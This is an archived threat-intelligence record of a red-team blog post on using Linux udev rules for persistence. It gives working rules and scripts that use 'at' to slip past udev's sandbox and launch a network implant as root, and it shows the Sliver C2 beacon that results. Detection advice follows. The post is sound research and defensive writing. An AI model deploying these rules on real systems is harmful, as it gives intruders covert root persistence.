{
	"id": "a95593e1-e46c-4365-931d-4e3836b062e1",
	"created_at": "2026-04-06T00:15:28.160485Z",
	"updated_at": "2026-04-10T03:35:29.158053Z",
	"deleted_at": null,
	"sha1_hash": "d81c09b3bdce21f593dcc1c6c1e5cf8c9af4b582",
	"title": "Leveraging Linux udev for persistence",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 818817,
	"plain_text": "Leveraging Linux udev for persistence\r\nBy Eder P. Ignacio\r\nPublished: 2024-02-21 · Archived: 2026-04-05 23:38:18 UTC\r\nUpdate 2025/03/26\r\nI’m excited to share that I contributed to MITRE ATT\u0026CK v16.1 matrix (October 31, 2024) with the inclusion of\r\nthis technique: T1564.017 (udev rules for persistence) [6].\r\nIntroduction\r\nudev is widely known among system administrators. It’s a device manager for the Linux kernel that allows users\r\nto manage devices in the /dev/ directory and create actions based on hardware events. Common use cases\r\ninclude renaming a network interface or modifying rights over a specific hard disk when they’re plugged in.\r\nAmong the capabilities of udev is the execution of scripts based on hardware events (such as detection), which\r\nmakes it a good candidate to be employed as a persistence mechanism. To my surprise, at the time I ran into\r\nudev there was no subtechnique listed in MITRE ATT\u0026CK matrix. This fact led me to start a mini-research and\r\nexplore this possibility. In this article, I will share how I run into udev and how I could bypass the restrictions\r\nthat it presents in order to use it as a persistence mechanism in a red team operation.\r\nNote\r\nAfter finishing writing this article and revisiting my research for references, I did come across a few (this one [4]\r\nor this one [5]), which I didn’t find initially. However, these references discuss the possibility of using udev ;\r\nnone of them address the constraints imposed by udev and its evasion (nor do they provide a functional Proof of\r\nConcept). Therefore, in practical terms, the proposed methods would not work (at least in 2024) in an operation\r\nrequiring the deployment of a network implant.\r\nHow it all began\r\nDuring my free time, while doing offsec non-related things, I wanted to create a backup of my system when my\r\nexternal hard drive was connected. It was at that moment when I encountered udev which, among its various\r\ncapabilities, allows the execution of the backup script upon the connection of the hard drive. At that moment, a\r\nlightbulb went off my head: Uh! This is a great persistence method. Upon any hardware detection I can trigger\r\npersistence — I thought. At that very moment I headed to MITRE ATT\u0026CK matrix, to the tactic TA0003\r\nPersistence , and the technique T1546 Event Triggered Execution , waiting to locate the subtechnique to see\r\nhow it was being employed by threat actors. It didn’t exist. Even after looking it up in search engines I still found\r\nnothing **(see the note in introduction) . That was when I started my research aiming to contribute to the\r\ncommunity, since I thought — and I think — that is likely being used with hight probaility by threat actors.\r\nTherefore, it should be known by the Blue Team as well as my Red Team colleagues to be used in their operations.\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 1 of 11\n\nA bit of theory: udev\r\nBefore exploiting anything, it’s a must to understand it.\r\nThis is not a `udev` guide\r\nI’ll only cover the basics and things that are interesting to us from an attacker perspective. Going deep in udev\r\nand rules creation is out of the scope of this article. I encourage the reader to play with the rules and adapt to their\r\nneeds. Great references can be found here [1] or here[2]. If you know the basics of udev , feel free to jump to the\r\nnext chapter.\r\nWhat is udev ?\r\nWhat better than taking a look to the manual, in this case the Arch Wiki:\r\nudev  is a userspace system that enables the operating system administrator to register userspace\r\nhandlers for events. The events received by  udev ’s daemon are mainly generated by the (Linux)\r\nkernel in response to physical events relating to peripheral devices. As such,  udev ’s main purpose is to\r\nact upon peripheral detection and hot-plugging, including actions that return control to the kernel, e.g.,\r\nloading kernel modules or device firmware. Another component of this detection is adjusting the\r\npermissions of the device to be accessible to non-root users and groups. udev  is part of systemd and\r\nthus installed by default ( systemd-udevd.service )\r\nIn a few words, what is interesting to us:\r\nIt allows to register the execution of actions in response to physical events related to hardware, such as\r\nconnection or disconnection.\r\nIt is installed by default, being enabled as a system service.\r\nDue to the operations it performs, it runs in the context of the superuser root .\r\nudev rules\r\nIt’s simple. udev rules define the relationship between the event and the action to undertake. They define the\r\nevent handlers. Each rule is located in a rule file, with a .rules file extension.\r\nLocation\r\nThe rules created by administrators are in /etc/udev/rules.d/ ; those provided by the system or generated\r\ndynamically are located in /usr/lib/udev/rules.d/ and /run/udev/rules.d/ , respectively.\r\nProcessing logic and execution\r\nThe rules are sorted and processed collectively, not taking into account the source directory. If two or more rules\r\nhave the same name, only the one with the highest priority is executed. The priority is measured based on the\r\nsource directory of the rule file (from more to less): /etc/ \u003e /run/ \u003e /usr/ .\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 2 of 11\n\nIn the majority of current Kernels (with inotify support), rule modification and creation are loaded\r\nautomatically. If not, udevcontrol must be employed. Once loaded, one of the following actions is needed to\r\ntrigger the rule:\r\nCarry out the action listed in the rule (e.g., connection or disconnection)\r\nExecute udevtrigger (e.g., for non-removable devices)\r\nSyntax and examples\r\nEach rule is constructed of a series of key-value pairs, comma-separated. In addition, a rule must contain at least\r\none match key and one assignment key:\r\n1. The first part of the rule is composed of the match keys. They allow you to set the actions (e.g., plug in or\r\nplug out) or the type of device (e.g., if it’s a USB, a specific attribute that belongs only to a specific device,\r\nsuch as an ID, and so on)\r\n2. The second part is the assignment key. It dictates the action to accomplish if the previous match keys are\r\nfullfiled: change a device name or rights over it, create a symbolic link, run a script, etc.\r\nParts of a udev rule that renames the name of a specific hard disk\r\n# Highlighted: key-value match pairs; no highlighted: assignment key-value.\r\nSUBSYSTEM==\"block\", SUBSYSTEMS==\"scsi\",\r\nENV{ID_SERIAL_SHORT}==\"E0D55EA57414F5B1289F03D5\" , NAME=\"my_hard_disk\"\r\nNice. But how do we obtain the matching keys to identify our device in the previous rule? Very simple, by\r\nexecuting udevadm info on the path /dev of the device:\r\ntest@test:~$ udevadm info --path=$(udevadm info --query=path --name=/dev/sdb1)\r\nP: /devices/pci0000:00/0000:00:0c.0/usb2/2-1/2-1:1.0/host3/target3:0:0/3:0:0:0/block/sdb/sdb1\r\nN: sdb1\r\nL: 0\r\nS: disk/by-label/KINGSTON\r\nS: disk/by-uuid/5E0B-FD92\r\n[..]\r\nE: SCSI_MODEL_ENC=DataTraveler\\x203.0\r\nE: ID_VENDOR=Kingston\r\nE: ID_VENDOR_ENC=Kingston\r\nE: ID_MODEL=DataTraveler_3.0\r\nE: ID_MODEL_ENC=DataTraveler\\x203.0\r\nE: ID_TYPE=disk\r\nE: DM_MULTIPATH_DEVICE_PATH=0\r\nE: ID_SCSI_INQUIRY=1\r\nE: ID_VENDOR_ID=0951\r\nE: ID_MODEL_ID=1666\r\nE: ID_REVISION=0001\r\nE: ID_SERIAL=Kingston_DataTraveler_3.0_E0D55EA57414F5B1289F03D5-0:0\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 3 of 11\n\nE: ID_SERIAL_SHORT=E0D55EA57414F5B1289F03D5\r\n[...]\r\nE: DEVLINKS=/dev/disk/by-label/KINGSTON /dev/disk/by-uuid/5E0B-FD92 /dev/disk/by-id/usb-Kingston_DataTraveler_3.\r\nE: TAGS=:systemd:\r\nE: CURRENT_TAGS=:systemd:\r\nTo match the previous USB, we could point to its serial identifier. In this case, we’ll create a symlink on\r\nconnection:\r\ntest@test:~$ cat /etc/udev/rules.d/test.rules\r\nKERNEL==\"sdb[0-9]\", SUBSYSTEMS==\"usb\", ENV{ID_SERIAL_SHORT}==\"E0D55EA57414F5B1289F03D5\", SYMLINK+=\"super_usb\"\r\nWe unplug and plug in the USB, and confirm the execution of the rule by checking that the symbolic link has been\r\ngenerated:\r\ntest@test:~$ ls -la /dev/super_usb\r\nlrwxrwxrwx 1 root root 4 Feb 5 19:56 /dev/super_usb -\u003e sdb1\r\nOn the other hand, instead of pointing to a specific device, it is possible to point to a father device. In other words,\r\nit is possible to point to usb subsystems or to the PCI subsystem. This is very interesting to us as attackers\r\nbecause this way the rule will be triggered even at system startup. It will not only help us to establish persistence\r\nupon the detection of a specific device but also ensure it at system startup.\r\ntest@test:~$ cat /etc/udev/rules.d/test.rules\r\nSUBSYSTEMS==\"usb\", RUN+=\"/bin/sh -c 'touch /home/test/hi.txt'\"\r\nAbusing udev rules to establish persistence\r\nAssumptions\r\nAs it is a persistence method, we start from a scenario where we have compromised the machine and have root\r\nprivileges. In this case, the persistence method we will employ involves executing an implant that call home to our\r\nSliver C2 server. We could use a dropper to prevent the implant from touching the disk, but for the purposes\r\nof the PoC, we will directly download the implant to disk.\r\nIt seemed too easy\r\nHaving understood the theory, it seems easy:\r\nAs a match key, we set the detection of any usb subsystem. Besides triggering when it detects a device of\r\nthis type, this will ensure execution (i.e., persistence) on every system startup.\r\nAs a assignment key, we set the RUN key pointing to our implant.\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 4 of 11\n\nBut before tackling with complexities, it’s preferable to simplify in order to debug and check that all is working as\r\nexpected. We’ll create a rule that, instead of executing the implant, will run a script .sh which will write a file to\r\ndisk.\r\nThe rule located at /etc/udev/rules.d/ttp.rules :\r\ntest@test:~$ cat /etc/udev/rules.d/ttp.rules\r\nSUBSYSTEMS==\"usb\", RUN+=\"/bin/sh -c '/opt/scripts/trigger.sh'\"\r\nThe referenced script /opt/scripts/trigger.sh :\r\n#!/bin/bash\r\n# This workaround ensures that the execution is done only once.\r\n# Not very fancy, but quick.\r\nFILE=/home/test/file_udev$(($(date \"+%Y%m%d%H\")))\r\nif [ ! -f $FILE ]; then\r\ntouch $FILE\r\nfi\r\nWe give execution rights to the scripts and plug in the USB:\r\ntest@test:/etc/udev/rules.d$ chmod +x /opt/scripts/trigger.sh\r\ntest@test:/etc/udev/rules.d$ # check that the file doesn't exist\r\ntest@test:/etc/udev/rules.d$ ls -la /home/test/file_*\r\ntest@test:/etc/udev/rules.d$ ls: cannot access 'file_*': No such file or directory\r\ntest@test:/etc/udev/rules.d$ # plug in the USB\r\ntest@test:/etc/udev/rules.d$ # check that the rule has created the file\r\ntest@test:/etc/udev/rules.d$ ls -la /home/test/file_*\r\n-rw-r--r-- 1 root root 0 ene 11 20:56 /home/test/file_1705002989316\r\nThe file is created, confirming the script execution through the udev rule after the event. The only thing left is to\r\nreplace in the rule, on the RUN assignment key, the call to the script with the call to our implant:\r\nSUBSYSTEMS==\"usb\", RUN+=\"/bin/sh -c '/home/test/implant'\"\r\nWe set the listener in the C2 server and plug in the USB as in the previous case. But nothing… complete silence\r\non our C2 console. Neither calling the implant directly in the rule or through a .sh script… nothing.\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 5 of 11\n\nMy C2 console at that moment\r\nNote\r\nThe references mentioned in the introduction ([4] and [5]) regarding udev as a persistence method end here: they\r\ndirectly call the payload from the rule, without considering the constraints presented by udev . Therefore, they\r\nare not functional, at least currently, for using a payload that requires a network-connected and long-running\r\nprocess, essential requirements for establishing network-level persistence.\r\nRTFM: udev restrictions\r\nAccording to udev man page:\r\nThis can only be used for very short-running foreground tasks. Running an event process for a long\r\nperiod of time may block all further events for this or a dependent device.\r\nNote that running programs that access the network or mount/unmount filesystems is not allowed\r\ninside of udev rules, due to the default sandbox that is enforced on systemd-udevd.service.\r\nStarting daemons or other long-running processes is not allowed; the forked processes, detached\r\nor not, will be unconditionally killed after the event handling has finished. In order to activate long-running processes from udev rules, provide a service unit and pull it in from a udev device using\r\nthe SYSTEMD_WANTS device property. See systemd.device(5) for details.\r\nIt seems that we have ran into a dead end here. udev is executed in a sandbox with some restrictions that are\r\nvital to our persistence through the execution of the implant:\r\nit doesn’t allow network access for the executed processes\r\nit doesn’t allow running processes in background or long running processes\r\nNote\r\nReading the last sentence of the previous man , there is an option through calling a service. This option doesn’t\r\nmake much sense for us since persistence would take place through T1543.002 Create or Modify System\r\nProcess:Systemd Service . It would be more logical to create the malicious service directly rather than calling it\r\nthrough udev .\r\nBut now that we’ve made it this far, we won’t give up.\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 6 of 11\n\nBypassing udev restrictions\r\nIf udev presents these constraints, why not, through the rule, create a new independent and detached process that\r\nwon’t have the restrictions and use it to execute the implant? Two options come to my mind:\r\nThe quickest: use a GTFOBin such as at that will execute the implant. at allows scheduling the\r\nexecution of commands in the future. Thus, taking a look at the process tree it won’t be attached to udev\r\nand therefore won’t have the restrictions. There are references [3] regarding to this to execute scripts with\r\nnetwork access. Additionally, regarding long-runnning process, one of the previous references [1] glimpses\r\nthis possibility:\r\nOne workaround for this limitation is to make sure your program immediately detaches itself.\r\nProcess injection. To inject the implant shellcode in another process could be a more than a feasible option\r\nto bypass udev restrictions. This option is out of the scope of this article and is left as an exercise for the\r\nreader.\r\nUsing at to bypass restrictions\r\nThe good thing about at is that is a binary from the official repositories, and it’s installed by default in some\r\ndistributions . This turns it into a Living Of The Land Binary (called specifically GTFOBin for Unix binaries),\r\nwhich will help us going under the radar in some cases.\r\nSo let’s generate the rule ( /etc/udev/rules.d/ttp.rules ) calling at , that will schedule the implant to execute\r\nat the same time:\r\nSUBSYSTEMS==\"usb\", RUN+=\"/usr/bin/at -M -f /opt/scripts/trigger.sh now\"\r\nNote\r\nIn the case of Ubuntu Server 22.04 LTS, it is necessary to install at from the official repositories if it has not\r\nbeen installed previously.\r\nThe script pointed by at located at /opt/scripts/trigger.sh :\r\n#!/bin/bash\r\n# This workaround ensures that the execution is done only once.\r\n# Not very fancy, but quick.\r\nFILE=/home/test/file_udev$(($(date \"+%Y%m%d%H\")))\r\nif [ ! -f $FILE ]; then\r\ntouch $FILE\r\n/home/test/implant\r\nfi\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 7 of 11\n\nLet’s plug in a USB and… we receive the connection on our C2 ! (if we boot the machine, we get the same result\r\nwithout the need of plugging in a USB):\r\n[*] Beacon 52e736e5 BROKEN_THERAPIST - 10.0.2.6:34500 (test) - linux/amd64 - Mon, 22 Jan 2024 21:03:08 CET\r\nsliver \u003e use 52e736e5-0027-4a8c-8d40-b151759c163d\r\n[*] Active beacon BROKEN_THERAPIST (52e736e5-0027-4a8c-8d40-b151759c163d)\r\nsliver (BROKEN_THERAPIST) \u003e info\r\n Beacon ID: 52e736e5-0027-4a8c-8d40-b151759c163d\r\n Name: BROKEN_THERAPIST\r\n Hostname: test\r\n UUID: 6ca0c150-15de-41a7-b798-7640129e1b93\r\n Username: root\r\n UID: 0\r\n GID: 0\r\n PID: 1697\r\n OS: linux\r\n Version: Linux test 5.15.0-91-generic\r\n Locale:\r\n Arch: amd64\r\n Active C2: mtls://10.0.2.15:8888\r\n Remote Address: 10.0.2.6:34500\r\n Proxy URL:\r\n Interval: 5s\r\n Jitter: 3s\r\n First Contact: Mon Jan 22 21:03:08 CET 2024 (8s ago)\r\n Last Checkin: Mon Jan 22 21:03:09 CET 2024 (7s ago)\r\n Next Checkin: Mon Jan 22 21:03:15 CET 2024 (1s ago)\r\nsliver (BROKEN_THERAPIST) \u003e\r\nLet’s see it in action:\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 8 of 11\n\nWe can also modify the match key of the rule to match the detection of any network interface different from\r\nloopback . This way, we ensure that each time the machine counts with a valid network interface, it’ll try to\r\nestablish the connection to the C2 . This event is produced at system startup. The rule would be the following:\r\nSUBSYSTEM==\"net\", KERNEL!=\"lo\", RUN+=\"/usr/bin/at -M -f /opt/scripts/trigger.sh now\"\r\nSo each time the system boots, the persistence will be triggered:\r\nMitigation and detection\r\nMitigation\r\n0:00 / 0:50\r\n0:00 / 0:53\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 9 of 11\n\nDisabling the udev service ( systemd-udevd.service ) might seem like a good mitigation, but its capabilities\r\nwould be lost. It could also present problems with the management and detection of devices. If this action is\r\ncarried out, the consequences and caveats should be studied in depth before deploying in a production\r\nenvironment.\r\nDetection\r\nThe detection mechanisms can be stablished at different levels:\r\nFile system\r\nMonitor the creation and modification of files in the directories where udev rules are located:\r\n/etc/udev/rules.d/ , /usr/lib/udev/rules.d/ and /run/udev/rules.d/ .\r\nAnalyze and monitor changes on the files referenced in the rules, specifically in the RUN\r\nassignment key.\r\nProcess creation\r\nMonitor the creation of new processes that are children of systemd-udevd.service at the process\r\ntree level.\r\nProcess tree after implant execution\r\nOther (ab)uses\r\nOther use cases come to my mind from an attacker perspective:\r\n1. Other persistence alternatives. We covered the execution of the implant, but there are another options that\r\ncould be interesting to trigger from udev , such as: T1136.001 Create Account: Local Account or\r\nT1098.004 Account Manipulation:SSH Authorized Keys .\r\n2. Privilege escalation: if we have compromised a user that has privileges to modify a udev rule file, or\r\neither the assignment key RUN points to the execution of a script or binary over which we have write\r\nprivileges, this method could be used to escalate privileges on the system, as is being run as root .\r\nFinal words\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 10 of 11\n\nIn this post we have seen how to leverage udev to use it as a feasible persistence mechanism with the execution\r\nof a network implant, bypassing the restrictions in place due to its sandbox capabilities. I hope you find it useful\r\nand incorporate it into your red team arsenal or enhance your detection mechanisms. If you find any errors, have\r\nrelevant information, or come across references discussing udev that consider the restrictions, don’t hesitate to\r\ncontact me to include them.\r\nReferences\r\n[1] https://www.reactivated.net/writing_udev_rules.html\r\n[2] https://wiki.archlinux.org/title/Udev\r\n[3] https://askubuntu.com/questions/1166849/18-04-how-can-udev-rule-run-script-access-network\r\n[4] https://codexlynx.github.io/posts/2021/04/gaining-persistence-linux-udev.html\r\n[5] https://hadess.io/the-art-of-linux-persistence/\r\n[6] https://attack.mitre.org/techniques/T1546/017/\r\nSource: https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nhttps://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/"
	],
	"report_names": [
		"leveraging-Linux-udev-for-persistence"
	],
	"threat_actors": [
		{
			"id": "42a6a29d-6b98-4fd6-a742-a45a0306c7b0",
			"created_at": "2022-10-25T15:50:23.710403Z",
			"updated_at": "2026-04-10T02:00:05.281246Z",
			"deleted_at": null,
			"main_name": "Silence",
			"aliases": [
				"Whisper Spider"
			],
			"source_name": "MITRE:Silence",
			"tools": [
				"Winexe",
				"SDelete"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "eb5915d6-49a0-464d-9e4e-e1e2d3d31bc7",
			"created_at": "2025-03-29T02:05:20.764715Z",
			"updated_at": "2026-04-10T02:00:03.851829Z",
			"deleted_at": null,
			"main_name": "GOLD WYMAN",
			"aliases": [
				"Silence "
			],
			"source_name": "Secureworks:GOLD WYMAN",
			"tools": [
				"Silence"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "88e53203-891a-46f8-9ced-81d874a271c4",
			"created_at": "2022-10-25T16:07:24.191982Z",
			"updated_at": "2026-04-10T02:00:04.895327Z",
			"deleted_at": null,
			"main_name": "Silence",
			"aliases": [
				"ATK 86",
				"Contract Crew",
				"G0091",
				"TAG-CR8",
				"TEMP.TruthTeller",
				"Whisper Spider"
			],
			"source_name": "ETDA:Silence",
			"tools": [
				"EDA",
				"EmpireDNSAgent",
				"Farse",
				"Ivoke",
				"Kikothac",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Meterpreter",
				"ProxyBot",
				"ReconModule",
				"Silence.Downloader",
				"TiniMet",
				"TinyMet",
				"TrueBot",
				"xfs-disp.exe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434528,
	"ts_updated_at": 1775792129,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d81c09b3bdce21f593dcc1c6c1e5cf8c9af4b582.pdf",
		"text": "https://archive.orkl.eu/d81c09b3bdce21f593dcc1c6c1e5cf8c9af4b582.txt",
		"img": "https://archive.orkl.eu/d81c09b3bdce21f593dcc1c6c1e5cf8c9af4b582.jpg"
	}
}